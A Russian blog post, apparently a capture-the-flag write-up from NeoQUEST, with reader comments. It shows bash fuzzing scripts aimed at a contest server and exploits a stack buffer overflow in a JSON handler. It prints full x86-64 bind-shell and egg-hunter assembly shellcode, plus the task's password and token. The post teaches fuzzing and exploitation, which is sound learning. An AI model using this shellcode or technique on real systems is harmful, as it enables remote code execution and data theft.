Для поиска уязвимостей все средства хороши, а чем хорош фаззинг? Ответ прост: тем, что он дает возможность проверить, как себя поведёт программа, получившая на вход заведомо некорректные (а зачастую и вообще случайные) данные, которые не всегда входят во множество тестов разработчика.

Некорректное завершение работы программы в ходе фаззинга позволяет сделать предположение о наличии уязвимости.

В этой статье мы:

  • продемонстрируем, как фаззить обработчик JSON-запросов;
  • используя фаззинг, найдём уязвимость переполнения буфера;
  • напишем шеллкод на Ассемблере для эксплуатации найденной уязвимости.

Разбирать будем на примере исходных данных задания прошлого NeoQUEST. Известно, что 64-хбитный Linux-сервер обрабатывает запросы в формате JSON, которые заканчиваются нуль-терминатором (символом с кодом 0). Для получения ключа требуется отправить запрос с верным паролем, при этом доступа к исходным кодам и к бинарнику серверного процесса нет, даны только IP-адрес и порт. В легенде к заданию также было указано, что MD5-хеш правильного пароля содержится где-то в памяти процесса после следующих 5 символов: «hash:». А для того, чтобы вытащить пароль из памяти процесса, необходима возможность удалённого исполнения кода.


«Прощупываем» порт


Пробуем соединение по указанному адресу и порту. Для этого пользуемся широко известной утилитой netcat – «швейцарским ножом» для работы с сетью. Не забываем про завершающий нуль-терминатор в запросе:



По характеру получаемого ответа понимаем, какой вход ожидает серверный процесс. Он действительно обрабатывает голые JSON-запросы без заголовков и иных посторонних символов. Уточним, какие JSON-запросы сервер считает допустимыми с точки зрения синтаксиса:



Судя по этим ответам сервера, он распознает в качестве значений целые числа, но не распознает булевы значения.



Эти ответы сервера говорят о том, что он распознает в качестве значений непустые массивы.



Сервер распознает вложенные друг в друга ассоциативные массивы и обычные массивы, но, опять же, непустые.

В случае, если формат запроса корректно распознан, сервер проверяет наличие тега «pass» в главном ассоциативном массиве:



Если такой тег есть, проверяется его значение и, по-видимому, его хеш сверяется со значением в памяти.

Как получить корректное значение пароля? Можно попробовать простой перебор поля с паролем в запросах. Впрочем, результатов такая примитивная атака не дала.

Что ж, попробуем поискать в обработчике запросов уязвимость, эксплуатация которой позволит выполнить необходимый шеллкод и получить хеш пароля.

Используем фаззинг!


Единственный источник информации – ответы сервера на наши запросы. В отсутствии бинарного кода и исходников используем фаззинг. Более подробно про сам подход к тестированию читаем тут и там, и узнаем, что есть два основных метода фаззинга:

  1. Генерация данных.
  2. Мутация данных.

Генерировать можно случайные данные (такой подход часто называют dumb-фаззинг) или входные данные, сформированные в соответствии с моделями (smart-фаззинг). Мутация обеспечивает видоизменение существующих входных данных.

Будем использовать генерацию данных и перебирать все потенциально узкие места JSON-формата, чтобы найти такие входные запросы, при которых ответ сервера отличается от обычного.

Проверку проведем в несколько этапов:
  1. Замена служебных символов корректного запроса на неправильные.
  2. Сделаем большой уровень вложенности объектов и списков JSON друг в друга.
  3. Будем формировать запросы, в которых чего-либо «много» (длинные строки в ключах и значениях, объекты с большим количеством пар «ключ-значение», длинные списки).

1. Замена служебных символов корректного запроса на неправильные


Служебные символы — скобки, запятые, двоеточие, разделители (пробелы). Благодаря этому, в разных местах будет нарушаться структура корректного запроса. Пример такого фаззера:

#!/bin/bash

#correct query
base='{"example" : {"innerobj" : "someval"}, "example" : 777777777, "example" : [1, [2, {"inlist" : "val"}], 3], "end" : "543"}'

ad1='Access Denied, pass tag not found in JSON..'
ad2='Exit code = 0'

if1='Incorrect data format! Check your JSON syntax.'
if2='Exit code = 1'

#what we must replace in correct base query
declare -a checkable_syms=('[' ']' '{' '}' ' ' ':' ',')
#bad substitution symbols to replace with
declare -a arr=(" " "]" "{" "[[" "}}" ":" "," "A" "1" ";")

echo "Fuzzing maintenance symbols.."
for symbol in "${checkable_syms[@]}"
do
	#how manu occurencies of symbol in base string?
	num=$(($(echo $base | awk "BEGIN{FS=\"[$symbol]\"} {print NF}") - 1))
	
	#check every position of symbol
	for i in $(seq 1 $num)
	do
		#trying all of the "bad" substitutions
		for bad_sym in "${arr[@]}"
		do
			#dont bring 
			if [[ "$bad_sym" != "$symbol" ]]; then
				#constructing the query to server 				
				resp=`echo -e "$base\x00" | sed "s/[$symbol]/$bad_sym/$i" | nc 213.170.91.86 8887`
				#checking the answer, if not standart, something happened
				[[ (("$resp" =~ "$if1" && "$resp" =~ "$if2")) || (("$resp" =~ "$ad1" && "$resp" =~ "$ad2")) ]] || echo $resp
			fi
		done
	done
done



Результатов такая проверка не дала. Значит, будем проверять другие случаи.

2. Проверка на большой уровень вложенности объектов и списков JSON друг в друга


Пример фаззера для проверки:

#!/bin/bash

#how many nested objects
N=1024
base='"{\"example\" : "'
final='"{\"innerobj\" : \"someval\"}"'

ad1='Access Denied, pass tag not found in JSON..'
ad2='Exit code = 0'

if1='Incorrect data format! Check your JSON syntax.'
if2='Exit code = 1'


echo "Fuzzing nested objects.."
for i in $(seq 1 $N)
do
	#constructing the query to server with nested object
	que="$base*$i + $final + \"}\"*$i + \"\x00\""
	pyt="print($que);"	
	resp=`python -c "$pyt" | nc 213.170.91.86 8887`
	
	#checking the answer, if not standart, something happened
	[[ (("$resp" =~ "$ad1" && "$resp" =~ "$ad2")) ]] || echo $resp
Done



Опять сервер корректно обрабатывает все запросы. Аналогично проверяются списки большой вложенности. Их сервер также корректно обрабатывает. Будем проверять дальше!

3. Проверка на запросы, в которых чего-то «много»


Проверим длинные строки в ключах и значениях, объекты с большим количеством пар ключ-значение, длинные списки.

#!/bin/bash

#how many nested objects
N=2048
base1='{\"example'
letter='A'
final1='\": \"example\"}'

base2='{\"example\" : \"example'
final2='\"}'

ad1='Access Denied, pass tag not found in JSON..'
ad2='Exit code = 0'

if1='Incorrect data format! Check your JSON syntax.'
if2='Exit code = 1'

flag=0

echo "Fuzzing long strings.."
for i in $(seq 1 $N)
do
	#checking long string key or value
	if [[ "$flag" == 0 ]]; then
		base=$base1
		final=$final1
		flag=1
	else
		base=$base2
		final=$final2
		flag=0	
	fi	
	que="\"$base\" + (\"$letter\")*$i + \"$final\" + \"\x00\""
	pyt="print($que);"	
	resp=`python -c "$pyt" | nc 213.170.91.86 8887`
	
	#checking the answer, if not standart, something happened
	[[ (("$resp" =~ "$ad1" && "$resp" =~ "$ad2")) ]] || echo $resp
done



Как видим, длинные строки обрабатываются нормально. Длинные списки тоже. А как насчет длинных объектов?

Пример фаззера:

#!/bin/bash

#how many pairs in resulting object
N=260

head='{'
block='\"example\" : \"val\", '
final='\"last\" : \"block\"}'

ad1='Access Denied, pass tag not found in JSON..'
ad2='Exit code = 0'

if1='Incorrect data format! Check your JSON syntax.'
if2='Exit code = 1'

echo "Fuzzing long objects.."
for i in $(seq 1 $N)
do
	#constructing long object
	que="\"$head\" + (\"$block\")*$i + \"$final\" + \"\x00\""
	pyt="print($que);"
	resp=`python -c "$pyt" | nc 213.170.91.86 8887`
	
	#checking the answer, if not standart, something happened
	[[ (("$resp" =~ "$if1" && "$resp" =~ "$if2")) || (("$resp" =~ "$ad1" && "$resp" =~ "$ad2")) ]] || echo $resp
done



Вот оно! При достаточно длинном объекте ответ сервера неполный – пользователю не выдается exit code. Это начинает происходить, когда объект содержит больше 257 пар «ключ-значение». Если сделать их количество еще больше, мы увидим, что ответ вообще не приходит:



Судя по всему, перед нами классическое переполнение буфера. Пары «ключ-значение» при разборе входного запроса помещаются в константный буфер на стеке без предварительной проверки их количества в запросе.

При этом, если число пар лежит в диапазоне от 257 до 281, перетирается адрес возврата из функции-обработчика запроса, а если их больше 281, вероятно, перетираются какие-то локальные переменные за адресом возврата. Это приводит к тому, что до пользователя не доходит и первая часть сообщения об ошибке.

Уязвимость найдена!

Эксплуатируем уязвимость


Чтобы выполнить задание и получить заветный токен, необходимо понять, чем перетирается адрес возврата. Логично предположить, что на стек последовательно складываются не сами строки (ключи и значения объекта в запросе), а указатели на них. Если это так, можно не беспокоиться о размещении шеллкода в памяти и передаче на него управления. ASLR также в таком случае перестает быть помехой.

Сильно испортить жизнь нам может DEP, ведь память под строки выделяется в куче. Но не будем торопиться с выводами и проверим наши идеи на практике. Для этого возьмем какой-нибудь проверочный шеллкод под нашу платформу с целью понять, исполняема ли память в куче у процесса сервера?

Для этого возьмем обыкновенный bindshell на порт 4444 отсюда:



Поскольку у нас нет сведений о точном размере буфера, о наличии прочих локальных переменных, выравнивании памяти на стеке и т.д., необходимо размещать шеллкод немного с запасом. Разместим его в четырёх значениях у пар после 256, им предшествующих:



Ура, все работает! Память с шеллкодом исполняема, и адрес возврата из функции-обработчика запросов перезаписывается указателем на строку с шеллкодом автоматически. У нас появился удаленный шелл на сервере. Попробуем развить успех и получить доступ к бинарному коду JSON-обработчика:



Увы, недостаточно прав, чтобы сделать что-либо стоящее. Похоже, что бинарник серверного обработчика зашифрован, и без этого пароля не получить доступ к бинарному коду.

Пишем шеллкод и получаем токен


Отчаиваться рано. Вспомним, что в данном случае наша цель – не бинарник как таковой, а значение в памяти процесса /neoquest/vuln.

Зная, что файл бинарника зашифрован, и что bindshell замещает текущий процесс сервера в памяти процессом bash, пойдём другим путем. Напишем свой egg hunt шеллкод, который найдет в памяти процесса нужное значение по известному префиксу («hash:») и выдаст его пользователю.

Вариант нашего шеллкода (длинного!) под спойлером:

Shellcode
xor eax,eax
xor ebx,ebx
xor edx,edx

;socket create syscall
mov al,0x1
mov esi,eax
inc al
mov edi,eax
mov dl,0x6
mov al,0x29
syscall

;store the server sock
xchg ebx,eax 

;bind on port 4444 syscall
xor  rax,rax
push   rax
push 0x5c110102
mov  [rsp+1],al
mov  rsi,rsp
mov  dl,0x10
mov  edi,ebx
mov  al,0x31
syscall

;listen syscall
mov  al,0x5
mov esi,eax
mov  edi,ebx
mov  al,0x32
syscall

;accept connection syscall
xor edx,edx
xor esi,esi
mov edi,ebx
mov al,0x2b
syscall

;store socket
mov edi,eax 

;dup2 syscalls - for printing result to client
xor rax,rax
mov esi,eax
mov al,0x21
syscall
inc al
mov esi,eax
mov al,0x21
syscall
inc al
mov esi,eax
mov al,0x21
syscall

;egg hunter

    xor rsi, rsi        ; Some prep junk.
    xor rdi, rdi
    xor rbx, rbx
    add bl, 5

go_end_of_page:
    or di, 0x0fff        ; We align with a page size of 0x1000
        
next_byte:
    mov cx, di
    cmp cl, 0xff
                 ; next byte offset 
    jne cmps
    inc rdi
    push 21         
    pop rax             ; We load access() in RAX
;    push rdx
;    pop rdi
    mov rdx, rdi
    add rdi, rbx        ; We need to be sure our 5 byte egg check does not span across 2 pages
    syscall           ; syscall to access()
    cmp al, 0xf2        ; Checks for EFAULT.  EFAULT indicates bad page access.
    je go_end_of_page
    jmp cmps2
cmps:
	inc rdi
cmps2:	
	cmp [rdi - 4] , dword 0x3a687361 ;ash: letters          
jne next_byte
	cmp [rdi - 5] , dword 0x68736168 ;hash letters
jne next_byte

after:
;printf 32 byte of MD5-hash 
	xor rax, rax
	add rax, 1
	mov rsi, rdi	
	xor rdi, rdi
	add rdi, 1
	
	xor rdx, rdx
	mov dl, 0x20 ; Size of 
	syscall
;exit syscall
	xor rax, rax
	add rax, 0x3b
	xor rdi, rdi
	syscall


Что делает этот шеллкод:

  • Создает сокет, прикручивает к нужному порту (bind на 4444), ожидает соединения (listen).
  • Принимает соединение, сохраняет клиентский сокет для дальнейшего использования (accept).
  • Копирует дескрипторы STDIN, STDOUT, STDERR в клиентский сокет для выдачи результата (dup2).
  • Обходит память постранично (по 4Кб). Если адрес отображен в адресное пространство процесса – движемся по странице в поисках 5-символьного префикса «hash:». Если адрес не отображен, переходим к следующей странице. Проверка адреса осуществляется системным вызовом access.
  • Найденный адрес используем для вывода в клиентский сокет 32 байт памяти после него – там должен лежать искомый хеш пароля (сист. вызов write).
  • Завершает работу (exit).

Шеллкод написали, теперь протестируем наше решение:



Сработало! При подключении на 4444 порт мы видим искомые 32 символа хеша пароля. Осталось получить пароль. Воспользуемся Google:



Искомый пароль: ABAB865A15B15538D81C066574449597. Осталось получить заветный токен:



Искомый токен: 795944475660c18d83551b51a568baba

Преимущества и недостатки фаззинга


Большое разнообразие возможных точек входа (текстовая строка, вводимая посредством GUI, бинарные данные из файла, значение поля сетевого запроса) и тестируемых приложений (можно фаззить файлы, протоколы, драйверы, веб-приложения, исходники...) делает фаззинг довольно эффективным подходом к поиску проблем безопасности программного кода.

В данной статье мы продемонстрировали довольно простой пример фаззинга, в котором мутация генерируемых тестовых данных была сведена к минимуму, однако современные фаззеры (Peach, Sulley, HotFuzz и другие ) обладают гораздо более богатым функционалом, реализуя множество алгоритмов мутации.

Тем не менее, у подхода к тестированию методом фаззинга есть и вполне очевидный недостаток: поскольку фаззер не обладает знаниями о внутренней структуре тестируемой программы, для поиска проблем безопасности придется перебрать огромное количество вариантов тестовых данных. А это, в свою очередь, требует значительных временных затрат.

А на NeoQUEST-2017 — еще больше интересных заданий!


Тренируясь в прохождении заданий NeoQUEST, всегда можно узнать что-то новое и понять, как на практике работают те или иные механизмы безопасности. В данной статье мы рассказали, что такое фаззинг, продемонстрировали, как можно обнаружить уязвимость переполнения буфера данным методом, и написали шеллкод для найденной уязвимости на Ассемблере. При этом, мы исполнили свой код, не имея даже бинарника уязвимой программы. Это — наглядная демонстрация того, что может быть, если сервер плохо реализован.

В заданиях NeoQUEST-2017, который пройдет с 1 по 10 марта, несомненно, тоже будет чему научиться, поэтому смело регистрируйтесь!
Поделиться с друзьями
-->

Комментарии (6)


  1. trapwalker
    17.02.2017 11:20
    +7

    Примеры таких взломов, мне кажется, нужно обязательно добавлять в обязательную программу для обучения любых IT-специалистов, связанных с программированием и настройкой, а не только с безопасностью. Это должно сформировать ощущение хрупкости безопасности проектируемых систем. А-то сплошь и рядом вижу недооценку опасности и наивное пренебрежение даже простейшими мерами безопасности а-ля «да что через такую ошибку можно сделать?..»
    Ещё надо больно бить программистов по фиговому листочку принципа неуловимого Джо, коим те любят прикрываться, мол, «кому это надо нас ломать». Такие атаки можно автоматизировать, а значит цена поиска и эксплуатации уязвимости может стремиться к нулю. Вас могут сломать просто так, нечаянно или просто за компанию, сломать и, возможно, даже не заметить. Какова будет цена вопроса для вашего производства, бизнеса? Даже это трудно предугадать. Нужно воспитывать в себе здоровый и конструктивный страх и осторожность в этих джунглях.


  1. marsermd
    17.02.2017 12:15
    +2

    Шикарная статья! Прочитал на одном дыхании.
    Поддерживаю trapwalker


  1. ukt
    17.02.2017 17:29
    +1

    Были времена, когда ЭВМ были Большими и не совсем персональными, в это время был журнал «Х», постоянно что то взламывали, спасали бобра. Эх.

    Благодарю за статью.


  1. kay
    19.02.2017 00:24
    +1

    Отличная статья, жаль, что мало плюсов.


  1. alexeystoletny
    19.02.2017 23:07

    Спасибо большое за статью! Если у вас есть возможность опубликовать бинарник — это было бы отличным дополнением, ведь одно дело прочесть, а другое дело попробовать все самостоятельно :-)


  1. MrRitm
    21.02.2017 15:36
    +1

    Работая с WEB-разработчиками такого повидал… И у всех этот принцип «Неуловимого Джо». Один такой чудик сказал «Да через XSS нас никто ломать не будет». В течение 10 минут показал ему, как его поделки ломаются и через них валит спам. Причем с использованием авторизации на корпоративном SMTP. Ответ был шикарен «Ну не всеж такие умные! Сайтов много в интернете. Вероятность, что нас сломают — не велика». Уволили его на той-же неделе.
    Автору за статью огромное спасибо! Ненапряжная интересная и понятная статья. Дам ка я ее как домашнее задание нашим «программистам» почитать…